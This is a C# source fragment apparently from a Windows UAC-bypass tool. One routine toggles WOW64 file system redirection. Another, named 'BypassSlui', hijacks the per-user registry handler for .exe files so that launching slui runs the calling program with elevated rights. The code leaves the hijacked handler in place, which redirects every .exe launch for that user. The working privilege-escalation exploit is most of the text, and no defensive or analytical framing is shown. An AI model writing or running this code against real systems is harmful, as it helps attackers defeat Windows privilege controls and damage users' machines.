static void Main(string[] args)
 {
     try
     {
         if (Wow64Interop.EnableWow64FSRedirection(false))
         {
             Console.WriteLine("WOW64 File System Redirection Disabled");
         }
         else
         {
             Console.WriteLine("Failure Disabling WOW64 File System Redirection");
         }
     }
     catch (Exception exc)
     {
         Console.WriteLine("Failure Setting WOW64 File System Redirection.");
         Console.WriteLine(exc.Message);
     }
 }
        /// <summary>
        /// Slui bypass should work on Windows 8
        /// </summary>
        private static void BypassSlui()
        {
            var wow64Value = IntPtr.Zero;

            Registry.CurrentUser.CreateSubKey(@"Software\Classes\exefile\shell\open\command");
            Registry.CurrentUser.OpenSubKey(@"Software\Classes\exefile\shell\open\command", true)
            ?.SetValue("", Assembly.GetExecutingAssembly().Location);
            Registry.CurrentUser.OpenSubKey(@"Software\Classes\exefile\shell\open\command", true)
            ?.SetValue("DelegateExecute", "");
            Wow64Interop.DisableWow64FSRedirection(ref wow64Value);
            try
            {
                Process.Start("slui");
            }
            catch
            {
                Console.WriteLine("Please make sure you removed prefer 32-bits.");
            }
            finally
            {
                Wow64Interop.Wow64RevertWow64FsRedirection(wow64Value);
                Environment.Exit(0);
            }
        }